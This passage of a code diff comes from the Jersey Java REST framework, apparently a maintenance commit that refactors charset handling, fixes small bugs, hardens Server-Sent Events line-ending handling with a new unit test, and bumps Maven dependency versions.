+    public static final String MESSAGE = "hello";
+    @Test
+    void testAbortWithJaxbEntity() {
+        Client client = ClientBuilder.newBuilder()
+                .register(AbortRequestFilter.class)
+                .build();
+
+        try {
+            JaxbEntity entity = client.target("http://localhost:8080")
+                    .request()
+                    .get()
+                    .readEntity(JaxbEntity.class);
+            MatcherAssert.assertThat(entity.getStr(), Matchers.is(MESSAGE));
+        } finally {
+            client.close();
+        }
+    }
+
+    public static class AbortRequestFilter implements ClientRequestFilter {
+
+        @Override
+        public void filter(ClientRequestContext requestContext) {
+            requestContext.abortWith(Response.ok(new JaxbEntity(MESSAGE)).build());
+        }
+
+    }
+
+    @XmlRootElement
+    public static class JaxbEntity {
+
+        @XmlElement
+        private String str;
+
+        public JaxbEntity() {}
+
+        public JaxbEntity(String str) {
+            this.str = str;
+        }
+
+        public String getStr() {
+            return str;
+        }
+    }
+}
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonMarshaller.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonMarshaller.java
index 6e137af..269a8a0 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonMarshaller.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonMarshaller.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,13 @@
 
 package org.glassfish.jersey.jettison.internal;
 
+import static java.nio.charset.StandardCharsets.UTF_8;
+
 import java.io.IOException;
 import java.io.OutputStream;
 import java.io.OutputStreamWriter;
 import java.io.Writer;
-import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 
 import jakarta.xml.bind.JAXBContext;
 import jakarta.xml.bind.JAXBException;
@@ -40,8 +42,6 @@
  */
 public class BaseJsonMarshaller implements JettisonMarshaller, JettisonConfigured {
 
-    private static final Charset UTF8 = Charset.forName("UTF-8");
-
     protected final Marshaller jaxbMarshaller;
     protected JettisonConfig jsonConfig;
 
@@ -67,7 +67,7 @@
             throw new IllegalArgumentException("The output stream is null");
         }
 
-        marshallToJSON(o, new OutputStreamWriter(outputStream, UTF8));
+        marshallToJSON(o, new OutputStreamWriter(outputStream, StandardCharsets.UTF_8));
     }
 
     public void marshallToJSON(Object o, Writer writer) throws JAXBException {
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonUnmarshaller.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonUnmarshaller.java
index 0aa13c2..602a44c 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonUnmarshaller.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/BaseJsonUnmarshaller.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,10 +16,12 @@
 
 package org.glassfish.jersey.jettison.internal;
 
+import static java.nio.charset.StandardCharsets.UTF_8;
+
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.Reader;
-import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 
 import jakarta.xml.bind.JAXBContext;
 import jakarta.xml.bind.JAXBElement;
@@ -41,8 +43,6 @@
  */
 public class BaseJsonUnmarshaller implements JettisonUnmarshaller, JettisonConfigured {
 
-    private static final Charset UTF8 = Charset.forName("UTF-8");
-
     protected final Unmarshaller jaxbUnmarshaller;
     protected final JettisonConfig jsonConfig;
 
@@ -62,7 +62,7 @@
 
     // JsonUnmarshaller
     public <T> T unmarshalFromJSON(InputStream inputStream, Class<T> expectedType) throws JAXBException {
-        return unmarshalFromJSON(new InputStreamReader(inputStream, UTF8), expectedType);
+        return unmarshalFromJSON(new InputStreamReader(inputStream, StandardCharsets.UTF_8), expectedType);
     }
 
     @SuppressWarnings("unchecked")
@@ -75,7 +75,7 @@
     }
 
     public <T> JAXBElement<T> unmarshalJAXBElementFromJSON(InputStream inputStream, Class<T> declaredType) throws JAXBException {
-        return unmarshalJAXBElementFromJSON(new InputStreamReader(inputStream, UTF8), declaredType);
+        return unmarshalJAXBElementFromJSON(new InputStreamReader(inputStream, StandardCharsets.UTF_8), declaredType);
     }
 
     public <T> JAXBElement<T> unmarshalJAXBElementFromJSON(Reader reader, Class<T> declaredType) throws JAXBException {
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java
index 277855b..3943065 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -354,7 +354,7 @@
         @Override
         public EntityPart apply(ContainerRequest request) {
             List<FormDataBodyPart> bodyParts = getEntity(request).getFields(name);
-            return bodyParts.size() != 0 ? bodyParts.get(0) : null;
+            return bodyParts != null && bodyParts.size() != 0 ? bodyParts.get(0) : null;
         }
     }
 
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/EventOutput.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/EventOutput.java
index 4d63506..13306bd 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/EventOutput.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/EventOutput.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,10 +16,10 @@
 
 package org.glassfish.jersey.media.sse;
 
-import java.nio.charset.Charset;
-
 import org.glassfish.jersey.server.ChunkedOutput;
 
+import java.nio.charset.StandardCharsets;
+
 /**
  * Outbound Server-Sent Events channel.
  *
@@ -31,7 +31,7 @@
  */
 public class EventOutput extends ChunkedOutput<OutboundEvent> {
     // encoding does not matter for lower ASCII characters
-    private static final byte[] SSE_EVENT_DELIMITER = "\n".getBytes(Charset.forName("UTF-8"));
+    private static final byte[] SSE_EVENT_DELIMITER = "\n".getBytes(StandardCharsets.UTF_8);
 
     /**
      * Create new outbound Server-Sent Events channel.
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java
index d2e7b85..12620b2 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,15 @@
 
 package org.glassfish.jersey.media.sse;
 
+import static java.nio.charset.StandardCharsets.UTF_8;
+
 import java.io.IOException;
 import java.io.OutputStream;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.nio.charset.Charset;
+import java.util.Objects;
+import java.util.regex.Pattern;
 
 import jakarta.ws.rs.WebApplicationException;
 import jakarta.ws.rs.core.Context;
@@ -43,15 +47,14 @@
  */
 class OutboundEventWriter implements MessageBodyWriter<OutboundSseEvent> {
 
-    private static final Charset UTF8 = Charset.forName("UTF-8");
-
     // encoding does not matter (lower ASCII characters)
-    private static final byte[] COMMENT_LEAD = ": ".getBytes(UTF8);
-    private static final byte[] NAME_LEAD = "event: ".getBytes(UTF8);
-    private static final byte[] ID_LEAD = "id: ".getBytes(UTF8);
-    private static final byte[] RETRY_LEAD = "retry: ".getBytes(UTF8);
-    private static final byte[] DATA_LEAD = "data: ".getBytes(UTF8);
+    private static final byte[] COMMENT_LEAD = ": ".getBytes(UTF_8);
+    private static final byte[] NAME_LEAD = "event: ".getBytes(UTF_8);
+    private static final byte[] ID_LEAD = "id: ".getBytes(UTF_8);
+    private static final byte[] RETRY_LEAD = "retry: ".getBytes(UTF_8);
+    private static final byte[] DATA_LEAD = "data: ".getBytes(UTF_8);
     private static final byte[] EOL = {'\n'};
+    private static final Pattern EOL_PATTERN = Pattern.compile("\r\n|\r|\n");
 
     private final Provider<MessageBodyWorkers> workersProvider;
 
@@ -87,7 +90,7 @@
 
         final Charset charset = MessageUtils.getCharset(mediaType);
         if (outboundEvent.getComment() != null) {
-            for (final String comment : outboundEvent.getComment().split("\n")) {
+            for (final String comment : EOL_PATTERN.split(outboundEvent.getComment())) {
                 entityStream.write(COMMENT_LEAD);
                 entityStream.write(comment.getBytes(charset));
                 entityStream.write(EOL);
@@ -97,12 +100,12 @@
         if (outboundEvent.getType() != null) {
             if (outboundEvent.getName() != null) {
                 entityStream.write(NAME_LEAD);
-                entityStream.write(outboundEvent.getName().getBytes(charset));
+                entityStream.write(outboundEvent.getName().replace("\r", "").replace("\n", "").getBytes(charset));
                 entityStream.write(EOL);
             }
             if (outboundEvent.getId() != null) {
                 entityStream.write(ID_LEAD);
-                entityStream.write(outboundEvent.getId().getBytes(charset));
+                entityStream.write(outboundEvent.getId().replace("\r", "").replace("\n", "").getBytes(charset));
                 entityStream.write(EOL);
             }
             if (outboundEvent.getReconnectDelay() > SseFeature.RECONNECT_NOT_SET) {
@@ -115,6 +118,7 @@
                     outboundEvent.getMediaType() == null ? MediaType.TEXT_PLAIN_TYPE : outboundEvent.getMediaType();
             final MessageBodyWriter messageBodyWriter = workersProvider.get().getMessageBodyWriter(outboundEvent.getType(),
                     outboundEvent.getGenericType(), annotations, eventMediaType);
+            final var dataLeadStream = new DataLeadStream(entityStream);
             messageBodyWriter.writeTo(
                     outboundEvent.getData(),
                     outboundEvent.getType(),
@@ -122,23 +126,74 @@
                     annotations,
                     eventMediaType,
                     httpHeaders,
-                    new OutputStream() {
-
-                        private boolean start = true;
-
-                        @Override
-                        public void write(final int i) throws IOException {
-                            if (start) {
-                                entityStream.write(DATA_LEAD);
-                                start = false;
-                            }
-                            entityStream.write(i);
-                            if (i == '\n') {
-                                entityStream.write(DATA_LEAD);
-                            }
-                        }
-                    });
+                    dataLeadStream);
+            dataLeadStream.finish();
             entityStream.write(EOL);
         }
     }
+
+    static final class DataLeadStream extends OutputStream {
+        private final OutputStream entityStream;
+
+        private int lastChar = -1;
+
+        DataLeadStream(final OutputStream entityStream) {
+            this.entityStream = entityStream;
+        }
+
+        @Override
+        public void write(final int i) throws IOException {
+            if (lastChar == -1) {
+                entityStream.write(DATA_LEAD);
+            } else if (lastChar != '\n' && lastChar != '\r') {
+                entityStream.write(lastChar);
+            } else if (lastChar == '\n' || lastChar == '\r' && i != '\n') {
+                entityStream.write(EOL);
+                entityStream.write(DATA_LEAD);
+            }
+
+            lastChar = i;
+        }
+
+        private static int indexOfEol(final byte[] b, final int fromIndex, final int toIndex) {
+            for (var i = fromIndex; i < toIndex; i++) {
+                if (b[i] == '\n' || b[i] == '\r') {
+                    return i;
+                }
+            }
+            return -1;
+        }
+
+        @Override
+        public void write(final byte[] b, final int off, final int len) throws IOException {
+            Objects.checkFromIndexSize(off, len, b.length);
+            if (len == 0) {
+                return;
+            }
+            write(b[off]);
+            if (len > 1) {
+                final var end = off + len - 1;
+                var i = off;
+                for (var j = indexOfEol(b, i, end); j != -1; j = indexOfEol(b, i, end)) {
+                    entityStream.write(b, i, j - i);
+                    entityStream.write(EOL);
+                    entityStream.write(DATA_LEAD);
+                    if (b[j] == '\r' && b[j + 1] == '\n') {
+                        j++;
+                    }
+                    i = ++j;
+                }
+                if (i < end) {
+                    entityStream.write(b, i, end - i);
+                }
+                lastChar = b[end];
+            }
+        }
+
+        void finish() throws IOException {
+            if (lastChar != -1) {
+                write(-1);
+            }
+        }
+    }
 }
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/EventProcessor.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/EventProcessor.java
index ee9f56d..8729e4e 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/EventProcessor.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/EventProcessor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -400,7 +400,7 @@
          */
         public Builder reconnectDelay(long reconnectDelay, TimeUnit unit) {
             this.reconnectDelay = reconnectDelay;
-            this.reconnectUnit = reconnectUnit;
+            this.reconnectUnit = unit;
             return this;
         }
 
diff --git a/media/sse/src/test/java/org/glassfish/jersey/media/sse/DataLeadStreamTest.java b/media/sse/src/test/java/org/glassfish/jersey/media/sse/DataLeadStreamTest.java
new file mode 100644
index 0000000..b27402c
--- /dev/null
+++ b/media/sse/src/test/java/org/glassfish/jersey/media/sse/DataLeadStreamTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (c) 2025 Markus KARG
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.sse;
+
+import java.io.ByteArrayOutputStream;
+import static java.nio.charset.StandardCharsets.UTF_8;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Basic set of unit tests for {@link DataLeadStream}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ */
+public class DataLeadStreamTest {
+
+    @Test
+    public void shouldDetectEolOnWrite() throws Exception {
+        // given
+        final var outputStream = new ByteArrayOutputStream();
+        final var dataLeadStream = new OutboundEventWriter.DataLeadStream(outputStream);
+
+        // when
+        dataLeadStream.write('A');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('B');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('C');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('D');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('E');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('F');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('G');
+        dataLeadStream.write("H".getBytes(UTF_8));
+        dataLeadStream.write("IJ".getBytes(UTF_8));
+        dataLeadStream.write("KLM".getBytes(UTF_8));
+        dataLeadStream.write("N\rO\nP\r\nQ\n\nR\r\rS\r\n\r\nT".getBytes(UTF_8));
+        dataLeadStream.write('\r');
+        dataLeadStream.write("U".getBytes(UTF_8));
+        dataLeadStream.write('\r');
+        dataLeadStream.write("\nV".getBytes(UTF_8));
+        dataLeadStream.write('\r');
+        dataLeadStream.write("\rW".getBytes(UTF_8));
+        dataLeadStream.write('\n');
+        dataLeadStream.write("X".getBytes(UTF_8));
+        dataLeadStream.write('\n');
+        dataLeadStream.write("\nY".getBytes(UTF_8));
+        dataLeadStream.write('\n');
+        dataLeadStream.write("\rZ".getBytes(UTF_8));
+        dataLeadStream.write("a\r".getBytes(UTF_8));
+        dataLeadStream.write('b');
+        dataLeadStream.write("c\n".getBytes(UTF_8));
+        dataLeadStream.write('d');
+        dataLeadStream.write("e\r".getBytes(UTF_8));
+        dataLeadStream.write('\r');
+        dataLeadStream.write("f\n".getBytes(UTF_8));
+        dataLeadStream.write('\n');
+        dataLeadStream.write("g\r".getBytes(UTF_8));
+        dataLeadStream.write('\n');
+        dataLeadStream.write("h\n".getBytes(UTF_8));
+        dataLeadStream.write('\r');
+        dataLeadStream.finish();
+
+        // then
+        assertEquals(
+                "data: A\ndata: B\ndata: C\ndata: D\ndata: \ndata: E\ndata: \ndata: F\ndata: \ndata: G"
+              + "H"
+              + "IJ"
+              + "KLM"
+              + "N\ndata: O\ndata: P\ndata: Q\ndata: \ndata: R\ndata: \ndata: S\ndata: \ndata: T"
+              + "\ndata: U"
+              + "\ndata: V"
+              + "\ndata: \ndata: W"
+              + "\ndata: X"
+              + "\ndata: \ndata: Y"
+              + "\ndata: \ndata: Z"
+              + "a\ndata: b"
+              + "c\ndata: d"
+              + "e\ndata: \ndata: "
+              + "f\ndata: \ndata: "
+              + "g\ndata: "
+              + "h\ndata: \ndata: ",
+                outputStream.toString(UTF_8));
+    }
+}
diff --git a/pom.xml b/pom.xml
index 9dba7fc..6a71b2d 100644
--- a/pom.xml
+++ b/pom.xml
@@ -1383,6 +1383,44 @@
                 </plugins>
             </build>
         </profile>
+        <profile>
+            <id>scan</id>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.owasp</groupId>
+                        <artifactId>dependency-check-maven</artifactId>
+                        <version>12.1.1</version>
+                        <!-- mvn -Pscan org.owasp:dependency-check-maven:check -->
+                        <executions>
+                            <execution>
+                                <goals>
+                                    <goal>check</goal>
+                                </goals>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>central-release</id>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.sonatype.central</groupId>
+                        <artifactId>central-publishing-maven-plugin</artifactId>
+                        <version>0.8.0</version>
+                        <extensions>true</extensions>
+                        <configuration>
+                            <publishingServerId>central</publishingServerId>
+                            <autoPublish>false</autoPublish>
+                            <!-- waitUntil>published</waitUntil -->
+                        </configuration>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
     </profiles>
 
     <reporting>
@@ -1601,7 +1639,7 @@
             <dependency>
                 <groupId>org.glassfish.hk2</groupId>
                 <artifactId>osgi-resource-locator</artifactId>
-                <version>1.0.3</version>
+                <version>3.0.0</version> <!-- JDK 17 needed for 1.0.4 -->
             </dependency>
             <dependency>
                 <groupId>org.glassfish.main.hk2</groupId>
@@ -2103,7 +2141,7 @@
     </dependencyManagement>
 
     <properties>
-        <archetype.mvn.plugin.version>3.2.1</archetype.mvn.plugin.version>
+        <archetype.mvn.plugin.version>3.4.0</archetype.mvn.plugin.version>
 
         <findbugs.skip>false</findbugs.skip>
         <findbugs.threshold>Low</findbugs.threshold>
@@ -2130,42 +2168,42 @@
 
         <!-- Versions of Maven plugins -->
         <antrun.mvn.plugin.version>3.1.0</antrun.mvn.plugin.version>
-        <mvn.ant.version>1.10.14</mvn.ant.version>
+        <mvn.ant.version>1.10.15</mvn.ant.version>
         <assembly.mvn.plugin.version>3.7.1</assembly.mvn.plugin.version>
-        <clean.mvn.plugin.version>3.4.0</clean.mvn.plugin.version>
+        <clean.mvn.plugin.version>3.5.0</clean.mvn.plugin.version>
         <enforcer.mvn.plugin.version>3.5.0</enforcer.mvn.plugin.version>
-        <exec.mvn.plugin.version>3.4.1</exec.mvn.plugin.version>
+        <exec.mvn.plugin.version>3.5.0</exec.mvn.plugin.version>
         <buildhelper.mvn.plugin.version>3.6.0</buildhelper.mvn.plugin.version>
-        <buildnumber.mvn.plugin.version>3.2.0</buildnumber.mvn.plugin.version>
-        <checkstyle.mvn.plugin.version>3.4.0</checkstyle.mvn.plugin.version>
-        <checkstyle.version>10.17.0</checkstyle.version>
-        <compiler.mvn.plugin.version>3.13.0</compiler.mvn.plugin.version>
+        <buildnumber.mvn.plugin.version>3.2.1</buildnumber.mvn.plugin.version>
+        <checkstyle.mvn.plugin.version>3.6.0</checkstyle.mvn.plugin.version>
+        <checkstyle.version>10.21.4</checkstyle.version>
+        <compiler.mvn.plugin.version>3.14.0</compiler.mvn.plugin.version>
         <!--
         Special version of the compiler plugin just for the jersey-common. All versions above
         generate too much for OSGi manifest.mf imports (awt etc). The version 3.11.0 however
         introduces the fix for the excludeTests issue. Which makes it preferable for the whole project
         but the jersey-common module which has to have the separate version for OSGi reasons.
          -->
-        <compiler.common.mvn.plugin.version>3.9.0</compiler.common.mvn.plugin.version>
+        <compiler.common.mvn.plugin.version>3.14.0</compiler.common.mvn.plugin.version>
         <cyclonedx.mvn.plugin.version>2.8.1</cyclonedx.mvn.plugin.version>
-        <dependency.mvn.plugin.version>3.7.1</dependency.mvn.plugin.version>
-        <deploy.mvn.plugin.version>3.1.2</deploy.mvn.plugin.version>
+        <dependency.mvn.plugin.version>3.8.1</dependency.mvn.plugin.version>
+        <deploy.mvn.plugin.version>3.1.4</deploy.mvn.plugin.version>
         <ear.mvn.plugin.version>3.3.0</ear.mvn.plugin.version>
-        <failsafe.mvn.plugin.version>3.3.1</failsafe.mvn.plugin.version>
-        <felix.mvn.plugin.version>5.1.9</felix.mvn.plugin.version>
+        <failsafe.mvn.plugin.version>3.5.3</failsafe.mvn.plugin.version>
+        <felix.mvn.plugin.version>5.1.9</felix.mvn.plugin.version> <!-- newer versions are not supported by JDK 11- -->
         <findbugs.mvn.plugin.version>3.0.5</findbugs.mvn.plugin.version>
         <gfembedded.mvn.plugin.version>5.1</gfembedded.mvn.plugin.version>
-        <install.mvn.plugin.version>3.1.2</install.mvn.plugin.version>
+        <install.mvn.plugin.version>3.1.4</install.mvn.plugin.version>
         <istack.mvn.plugin.version>4.2.0</istack.mvn.plugin.version>
         <jar.mvn.plugin.version>3.4.2</jar.mvn.plugin.version>
         <javadoc.mvn.plugin.version>3.11.2</javadoc.mvn.plugin.version>
-        <jxr.mvn.plugin.version>3.4.0</jxr.mvn.plugin.version>
+        <jxr.mvn.plugin.version>3.6.0</jxr.mvn.plugin.version>
         <paxexam.mvn.plugin.version>1.2.4</paxexam.mvn.plugin.version>
-        <project.info.reports.mvn.plugin.version>3.6.2</project.info.reports.mvn.plugin.version>
+        <project.info.reports.mvn.plugin.version>3.9.0</project.info.reports.mvn.plugin.version>
         <resources.mvn.plugin.version>3.3.1</resources.mvn.plugin.version>
         <shade.mvn.plugin.version>3.6.0</shade.mvn.plugin.version>
         <source.mvn.plugin.version>3.3.1</source.mvn.plugin.version>
-        <surefire.mvn.plugin.version>3.5.2</surefire.mvn.plugin.version>
+        <surefire.mvn.plugin.version>3.5.3</surefire.mvn.plugin.version>
         <war.mvn.plugin.version>3.4.0</war.mvn.plugin.version>
         <wiremock.mvn.plugin.version>2.11.0</wiremock.mvn.plugin.version>
         <xml.mvn.plugin.version>1.1.0</xml.mvn.plugin.version>
@@ -2178,45 +2216,47 @@
         <arquillian.weld.version>4.0.0.Final</arquillian.weld.version> <!-- 3.0.2.Final fails microprofile TCK tests -->
         <!-- asm is now source integrated - keeping this property to see the version -->
         <!-- see core-server/src/main/java/jersey/repackaged/asm/.. -->
-        <asm.version>9.7.1</asm.version>
+        <asm.version>9.8</asm.version>
         <!--required for spring (ext) modules integration -->
-        <aspectj.weaver.version>1.9.22.1</aspectj.weaver.version>
+        <aspectj.weaver.version>1.9.24</aspectj.weaver.version>
         <!--        <bnd.plugin.version>2.3.6</bnd.plugin.version>-->
         <bouncycastle.version>1.70</bouncycastle.version>
-        <commons.io.version>2.16.1</commons.io.version>
-        <commons.codec.version>1.16.1</commons.codec.version>
+        <commons.codec.version>1.18.0</commons.codec.version>
 <!--        <commons-lang3.version>3.3.2</commons-lang3.version>-->
-        <commons.logging.version>1.3.4</commons.logging.version>
+        <commons.logging.version>1.3.5</commons.logging.version>
         <fasterxml.classmate.version>1.7.0</fasterxml.classmate.version>
         <felix.eventadmin.version>1.6.4</felix.eventadmin.version>
         <felix.framework.security.version>2.8.4</felix.framework.security.version>
         <felix.framework.version>7.0.5</felix.framework.version>
         <findbugs.glassfish.version>1.7</findbugs.glassfish.version>
-        <freemarker.version>2.3.33</freemarker.version>
-        <gae.version>2.0.29</gae.version>
-        <groovy.version>5.0.0-alpha-11</groovy.version>
-        <gson.version>2.11.0</gson.version>
+        <freemarker.version>2.3.34</freemarker.version>
+        <gae.version>2.0.36</gae.version>
+        <groovy.version>5.0.0-alpha-12</groovy.version>
+        <gson.version>2.13.1</gson.version>
 
         <!--versions, extracted here due to maven-enforcer-plugin -->
         <!--        <commons.codec.version>1.15</commons.codec.version>-->
         <com.uber.jaeger.version>0.27.0</com.uber.jaeger.version>
-        <org.codehaus.gmavenplus.version>4.1.1</org.codehaus.gmavenplus.version>
+        <org.codehaus.gmavenplus.version>4.2.0</org.codehaus.gmavenplus.version>
         <!-- end of versions extracted here due to maven-enforcer-plugin -->
 
         <!-- micrometer -->
-        <micrometer.version>1.13.3</micrometer.version>
-        <micrometer-tracing.version>1.3.3</micrometer-tracing.version>
+        <micrometer.version>1.15.1</micrometer.version>
+        <micrometer-tracing.version>1.5.1</micrometer-tracing.version>
+        <micrometer-semconv.version>1.32.0</micrometer-semconv.version>
 
         <!-- microprofile -->
         <microprofile.config.version>3.0.3</microprofile.config.version>
         <microprofile.rest.client3.version>3.0.1</microprofile.rest.client3.version>
         <microprofile.rest.client.version>4.0</microprofile.rest.client.version>
-        <helidon.config.version>3.2.8</helidon.config.version>
-        <helidon.connector.version>3.2.8</helidon.connector.version>
-        <helidon.config.11.version>1.4.14</helidon.config.11.version> <!-- JDK 11- support -->
+        <helidon.config.version>3.2.12</helidon.config.version>
+        <helidon.container.version>4.2.4</helidon.container.version>
+        <helidon3.connector.version>3.2.12</helidon3.connector.version>
+        <helidon.connector.version>4.2.4</helidon.connector.version>
+        <helidon.config.11.version>1.4.15</helidon.config.11.version> <!-- JDK 11- support -->
         <smallrye.config.version>3.9.1</smallrye.config.version>
 
-        <guava.version>33.3.0-jre</guava.version>
+        <guava.version>33.4.8-jre</guava.version>
         <hamcrest.version>3.0</hamcrest.version>
         <xmlunit.version>2.10.0</xmlunit.version>
         <httpclient.version>4.5.14</httpclient.version>
@@ -2229,19 +2269,19 @@
         <jmh.version>1.37</jmh.version>
         <jmockit.version>1.49</jmockit.version>
         <junit4.version>4.13.2</junit4.version>
-        <junit5.version>5.11.4</junit5.version>
-        <junit-platform-suite.version>1.11.0</junit-platform-suite.version>
+        <junit5.version>5.12.2</junit5.version>
+        <junit-platform-suite.version>1.12.2</junit-platform-suite.version>
         <junit-platform-suite.legacy.version>1.10.0</junit-platform-suite.legacy.version>
         <kryo.version>4.0.3</kryo.version>
         <mockito.version>4.11.0</mockito.version> <!-- CQ 17673 -->
         <mustache.version>0.9.14</mustache.version>
-        <netty.version>4.1.112.Final</netty.version>
+        <netty.version>4.1.122.Final</netty.version>
         <opentracing.version>0.33.0</opentracing.version>
         <osgi.version>6.0.0</osgi.version>
         <osgi.framework.version>1.10.0</osgi.framework.version>
         <osgi.compendium.version>5.0.0</osgi.compendium.version>
         <osgi.service.cm.version>1.6.1</osgi.service.cm.version>
-        <pax.exam.version>4.13.5</pax.exam.version>
+        <pax.exam.version>4.14.0</pax.exam.version>
         <pax.exam.legacy.version>4.13.4</pax.exam.legacy.version>
         <pax.web.version>0.7.4</pax.web.version><!-- TODO: UPGRADE! -->
         <pax.url.aether.version>2.6.14</pax.url.aether.version>
@@ -2253,22 +2293,23 @@
         <servlet4.version>4.0.4</servlet4.version>
         <servlet6.version>6.1.0</servlet6.version>
 
-        <slf4j.version>2.0.13</slf4j.version>
+        <slf4j.version>2.0.17</slf4j.version>
         <spring6.version>6.0.23</spring6.version>
-        <testng.version>7.10.2</testng.version>
+        <testng.version>7.11.0</testng.version>
         <testng6.version>6.14.3</testng6.version>
-        <thymeleaf.version>3.1.2.RELEASE</thymeleaf.version>
+        <thymeleaf.version>3.1.3.RELEASE</thymeleaf.version>
         <!-- Jakartified, eligible for CQ -->
         <weld.api.version>6.0.Final</weld.api.version>
-        <weld.version>6.0.1.Final</weld.version>
-        <validation.impl.version>8.0.1.Final</validation.impl.version>
+        <weld.version>6.0.3.Final</weld.version>
+        <validation.impl.version>8.0.2.Final</validation.impl.version>
         <!-- END of Jakartified, eligible for CQ -->
         <wiremock.jetty9.version>2.27.2</wiremock.jetty9.version>
-        <wiremock.jetty11.version>3.10.0</wiremock.jetty11.version>
+        <wiremock.jetty11.version>3.10.0</wiremock.jetty11.version> <!-- Do not update,
+        newer versions fail jersey-rest-client-tck -->
         <xerces.version>2.12.2</xerces.version>
 
         <!-- Graal VM       -->
-        <graalvm.version>20.3.15</graalvm.version>
+        <graalvm.version>20.3.17</graalvm.version>
 
         <!-- do not need CQs (below this line till the end of version properties)-->
         <gf.impl.version>8.0.0-JDK17-M6</gf.impl.version>
@@ -2307,16 +2348,16 @@
         <jaxrs.api.impl.version>4.0.0</jaxrs.api.impl.version>
